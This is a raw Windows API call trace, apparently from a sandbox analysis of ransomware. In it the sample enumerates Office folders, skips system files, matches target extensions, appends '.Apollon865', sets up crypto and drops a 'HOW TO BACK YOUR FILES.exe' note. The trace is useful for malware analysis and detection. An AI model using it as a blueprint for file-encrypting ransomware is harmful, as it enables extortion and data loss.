	[0076.183] lstrlenW (lpString="db2") returned 3
	[0076.183] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0076.183] lstrlenW (lpString="db3") returned 3
	[0076.183] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0076.183] lstrlenW (lpString="dbf") returned 3
	[0076.183] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0076.183] lstrlenW (lpString="mdf") returned 3
	[0076.183] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0076.183] lstrlenW (lpString="mdb") returned 3
	[0076.183] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0076.183] lstrlenW (lpString="sql") returned 3
	[0076.183] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0076.183] lstrlenW (lpString="sqlite") returned 6
	[0076.183] lstrcmpiW (lpString1="UP.XML", lpString2="sqlite") returned 1
	[0076.183] lstrlenW (lpString="sqlite3") returned 7
	[0076.183] lstrcmpiW (lpString1="TUP.XML", lpString2="sqlite3") returned 1
	[0076.183] lstrlenW (lpString="sqlitedb") returned 8
	[0076.183] lstrcmpiW (lpString1="ETUP.XML", lpString2="sqlitedb") returned -1
	[0076.183] lstrlenW (lpString="xml") returned 3
	[0076.183] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0076.183] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML.Apollon865") returned 115
	[0076.183] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml.apollon865"), dwFlags=0x1) returned 1
	[0076.184] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0076.184] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=1852) returned 1
	[0076.184] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3490020
	[0076.185] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa88
	[0076.185] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf700
	[0076.185] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf788) returned 1
	[0076.185] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0076.185] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0076.186] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa40, lpName=0x0) returned 0x118
	[0076.187] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa40) returned 0x100000
	[0076.188] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf788) returned 1
	[0076.188] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0076.188] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0076.189] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0076.189] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0076.189] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0076.189] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0076.189] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0076.189] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0076.189] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0076.189] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0076.189] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0076.189] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0076.189] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0076.189] CloseHandle (hObject=0x118) returned 1
	[0076.189] CloseHandle (hObject=0xc0) returned 1
	[0076.189] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa88 | out: hHeap=0x580000) returned 1
	[0076.189] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf700 | out: hHeap=0x580000) returned 1
	[0076.189] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3490020 | out: hHeap=0x580000) returned 1
	[0076.190] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0
	[0076.190] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0076.190] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7c10
	[0076.190] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us"
	[0076.190] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5aa700 | out: hHeap=0x580000) returned 1
	[0076.190] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c08 | out: hHeap=0x580000) returned 1
	[0076.190] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us") returned 92
	[0076.190] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us"
	[0076.190] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0076.190] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0076.195] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0076.196] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd658ff0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x457daf70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x457daf70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0076.196] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0076.196] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0076.196] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0076.196] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd658ff0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x457daf70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x457daf70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0076.196] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0076.196] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0076.196] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0076.196] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0076.196] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd658ff0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x391, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="GrooveMUI.XML", cAlternateFileName="GROOVE~1.XML")) returned 1
	[0076.196] lstrcmpiW (lpString1="GrooveMUI.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0076.196] lstrcmpiW (lpString1="GrooveMUI.XML", lpString2="Apollon865.txt.exe") returned 1
	[0076.196] lstrcmpiW (lpString1="GrooveMUI.XML", lpString2=".") returned 1
	[0076.196] lstrcmpiW (lpString1="GrooveMUI.XML", lpString2="..") returned 1
	[0076.196] lstrcmpiW (lpString1="GrooveMUI.XML", lpString2="windows") returned -1
	[0076.196] lstrcmpiW (lpString1="GrooveMUI.XML", lpString2="bootmgr") returned 1
	[0076.196] lstrcmpiW (lpString1="GrooveMUI.XML", lpString2="temp") returned -1
	[0076.196] lstrcmpiW (lpString1="GrooveMUI.XML", lpString2="pagefile.sys") returned -1
	[0076.196] lstrcmpiW (lpString1="GrooveMUI.XML", lpString2="boot") returned 1
	[0076.196] lstrcmpiW (lpString1="GrooveMUI.XML", lpString2="ids.txt") returned -1
	[0076.196] lstrcmpiW (lpString1="GrooveMUI.XML", lpString2="ntuser.dat") returned -1
	[0076.196] lstrcmpiW (lpString1="GrooveMUI.XML", lpString2="perflogs") returned -1
	[0076.196] lstrcmpiW (lpString1="GrooveMUI.XML", lpString2="MSBuild") returned -1
	[0076.196] lstrlenW (lpString="GrooveMUI.XML") returned 13
	[0076.196] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\*") returned 94
	[0076.196] lstrcpyW (in: lpString1=0x2d3e60a, lpString2="GrooveMUI.XML" | out: lpString1="GrooveMUI.XML") returned="GrooveMUI.XML"
	[0076.196] lstrlenW (lpString="GrooveMUI.XML") returned 13
	[0076.196] lstrlenW (lpString="Apollon865") returned 10
	[0076.197] lstrcmpiW (lpString1="oveMUI.XML", lpString2="Apollon865") returned 1
	[0076.197] lstrlenW (lpString=".dll") returned 4
	[0076.197] lstrcmpiW (lpString1="GrooveMUI.XML", lpString2=".dll") returned 1
	[0076.197] lstrlenW (lpString=".lnk") returned 4
	[0076.197] lstrcmpiW (lpString1="GrooveMUI.XML", lpString2=".lnk") returned 1
	[0076.197] lstrlenW (lpString=".ini") returned 4
	[0076.197] lstrcmpiW (lpString1="GrooveMUI.XML", lpString2=".ini") returned 1
	[0076.197] lstrlenW (lpString=".sys") returned 4
	[0076.197] lstrcmpiW (lpString1="GrooveMUI.XML", lpString2=".sys") returned 1
	[0076.197] lstrlenW (lpString="GrooveMUI.XML") returned 13
	[0076.197] lstrlenW (lpString="bak") returned 3
	[0076.197] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0076.197] lstrlenW (lpString="ba_") returned 3
	[0076.197] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0076.197] lstrlenW (lpString="dbb") returned 3
	[0076.197] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0076.197] lstrlenW (lpString="vmdk") returned 4
	[0076.197] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0076.197] lstrlenW (lpString="rar") returned 3
	[0076.197] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0076.197] lstrlenW (lpString="zip") returned 3
	[0076.197] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0076.197] lstrlenW (lpString="tgz") returned 3
	[0076.197] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0076.197] lstrlenW (lpString="vbox") returned 4
	[0076.197] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0076.197] lstrlenW (lpString="vdi") returned 3
	[0076.197] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0076.197] lstrlenW (lpString="vhd") returned 3
	[0076.197] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0076.197] lstrlenW (lpString="vhdx") returned 4
	[0076.197] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0076.197] lstrlenW (lpString="avhd") returned 4
	[0076.197] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0076.197] lstrlenW (lpString="db") returned 2
	[0076.197] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0076.197] lstrlenW (lpString="db2") returned 3
	[0076.198] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0076.198] lstrlenW (lpString="db3") returned 3
	[0076.198] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0076.198] lstrlenW (lpString="dbf") returned 3
	[0076.198] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0076.198] lstrlenW (lpString="mdf") returned 3
	[0076.198] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0076.198] lstrlenW (lpString="mdb") returned 3
	[0076.198] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0076.198] lstrlenW (lpString="sql") returned 3
	[0076.198] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0076.198] lstrlenW (lpString="sqlite") returned 6
	[0076.198] lstrcmpiW (lpString1="UI.XML", lpString2="sqlite") returned 1
	[0076.198] lstrlenW (lpString="sqlite3") returned 7
	[0076.198] lstrcmpiW (lpString1="MUI.XML", lpString2="sqlite3") returned -1
	[0076.198] lstrlenW (lpString="sqlitedb") returned 8
	[0076.198] lstrcmpiW (lpString1="eMUI.XML", lpString2="sqlitedb") returned -1
	[0076.198] lstrlenW (lpString="xml") returned 3
	[0076.198] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0076.198] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML.Apollon865") returned 117
	[0076.198] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml.apollon865"), dwFlags=0x1) returned 1
	[0076.199] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0076.199] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=913) returned 1
	[0076.199] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3490020
	[0076.199] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa88
	[0076.199] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf700
	[0076.199] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf788) returned 1
	[0076.200] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0076.200] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0076.200] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6a0, lpName=0x0) returned 0x118
	[0076.202] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6a0) returned 0x100000
	[0076.203] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf788) returned 1
	[0076.204] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0076.204] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0076.204] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0076.204] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0076.204] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0076.204] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0076.204] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0076.204] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0076.204] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0076.204] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0076.204] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0076.204] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0076.204] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0076.204] CloseHandle (hObject=0x118) returned 1
	[0076.204] CloseHandle (hObject=0x15c) returned 1
	[0076.204] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa88 | out: hHeap=0x580000) returned 1
	[0076.204] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf700 | out: hHeap=0x580000) returned 1
	[0076.204] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3490020 | out: hHeap=0x580000) returned 1
	[0076.205] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x457daf70, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x457daf70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0076.205] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0076.205] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee803530, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1
	[0076.205] lstrcmpiW (lpString1="SETUP.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0076.205] lstrcmpiW (lpString1="SETUP.XML", lpString2="Apollon865.txt.exe") returned 1
	[0076.205] lstrcmpiW (lpString1="SETUP.XML", lpString2=".") returned 1
	[0076.205] lstrcmpiW (lpString1="SETUP.XML", lpString2="..") returned 1
	[0076.205] lstrcmpiW (lpString1="SETUP.XML", lpString2="windows") returned -1
	[0076.205] lstrcmpiW (lpString1="SETUP.XML", lpString2="bootmgr") returned 1
	[0076.205] lstrcmpiW (lpString1="SETUP.XML", lpString2="temp") returned -1
	[0076.205] lstrcmpiW (lpString1="SETUP.XML", lpString2="pagefile.sys") returned 1
	[0076.205] lstrcmpiW (lpString1="SETUP.XML", lpString2="boot") returned 1
	[0076.205] lstrcmpiW (lpString1="SETUP.XML", lpString2="ids.txt") returned 1
	[0076.205] lstrcmpiW (lpString1="SETUP.XML", lpString2="ntuser.dat") returned 1
	[0076.205] lstrcmpiW (lpString1="SETUP.XML", lpString2="perflogs") returned 1
	[0076.205] lstrcmpiW (lpString1="SETUP.XML", lpString2="MSBuild") returned 1
	[0076.205] lstrlenW (lpString="SETUP.XML") returned 9
	[0076.205] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106
	[0076.205] lstrcpyW (in: lpString1=0x2d3e60a, lpString2="SETUP.XML" | out: lpString1="SETUP.XML") returned="SETUP.XML"
	[0076.205] lstrlenW (lpString="SETUP.XML") returned 9
	[0076.205] lstrlenW (lpString="Apollon865") returned 10
	[0076.205] lstrlenW (lpString=".dll") returned 4
	[0076.205] lstrcmpiW (lpString1="SETUP.XML", lpString2=".dll") returned 1
	[0076.205] lstrlenW (lpString=".lnk") returned 4
	[0076.205] lstrcmpiW (lpString1="SETUP.XML", lpString2=".lnk") returned 1
	[0076.205] lstrlenW (lpString=".ini") returned 4
	[0076.205] lstrcmpiW (lpString1="SETUP.XML", lpString2=".ini") returned 1
	[0076.205] lstrlenW (lpString=".sys") returned 4
	[0076.205] lstrcmpiW (lpString1="SETUP.XML", lpString2=".sys") returned 1
	[0076.205] lstrlenW (lpString="SETUP.XML") returned 9
	[0076.206] lstrlenW (lpString="bak") returned 3
	[0076.206] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0076.206] lstrlenW (lpString="ba_") returned 3
	[0076.206] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0076.206] lstrlenW (lpString="dbb") returned 3
	[0076.206] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0076.206] lstrlenW (lpString="vmdk") returned 4
	[0076.206] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0076.206] lstrlenW (lpString="rar") returned 3
	[0076.206] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0076.206] lstrlenW (lpString="zip") returned 3
	[0076.206] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0076.206] lstrlenW (lpString="tgz") returned 3
	[0076.206] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0076.206] lstrlenW (lpString="vbox") returned 4
	[0076.206] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0076.206] lstrlenW (lpString="vdi") returned 3
	[0076.206] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0076.206] lstrlenW (lpString="vhd") returned 3
	[0076.206] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0076.206] lstrlenW (lpString="vhdx") returned 4
	[0076.206] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0076.206] lstrlenW (lpString="avhd") returned 4
	[0076.206] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0076.206] lstrlenW (lpString="db") returned 2
	[0076.206] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0076.206] lstrlenW (lpString="db2") returned 3
	[0076.206] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0076.206] lstrlenW (lpString="db3") returned 3
	[0076.206] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0076.206] lstrlenW (lpString="dbf") returned 3
	[0076.206] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0076.206] lstrlenW (lpString="mdf") returned 3
	[0076.206] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0076.206] lstrlenW (lpString="mdb") returned 3
	[0076.206] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0076.206] lstrlenW (lpString="sql") returned 3
	[0076.206] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0076.207] lstrlenW (lpString="sqlite") returned 6
	[0076.207] lstrcmpiW (lpString1="UP.XML", lpString2="sqlite") returned 1
	[0076.207] lstrlenW (lpString="sqlite3") returned 7
	[0076.207] lstrcmpiW (lpString1="TUP.XML", lpString2="sqlite3") returned 1
	[0076.207] lstrlenW (lpString="sqlitedb") returned 8
	[0076.207] lstrcmpiW (lpString1="ETUP.XML", lpString2="sqlitedb") returned -1
	[0076.207] lstrlenW (lpString="xml") returned 3
	[0076.207] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0076.207] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML.Apollon865") returned 113
	[0076.207] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml.apollon865"), dwFlags=0x1) returned 1
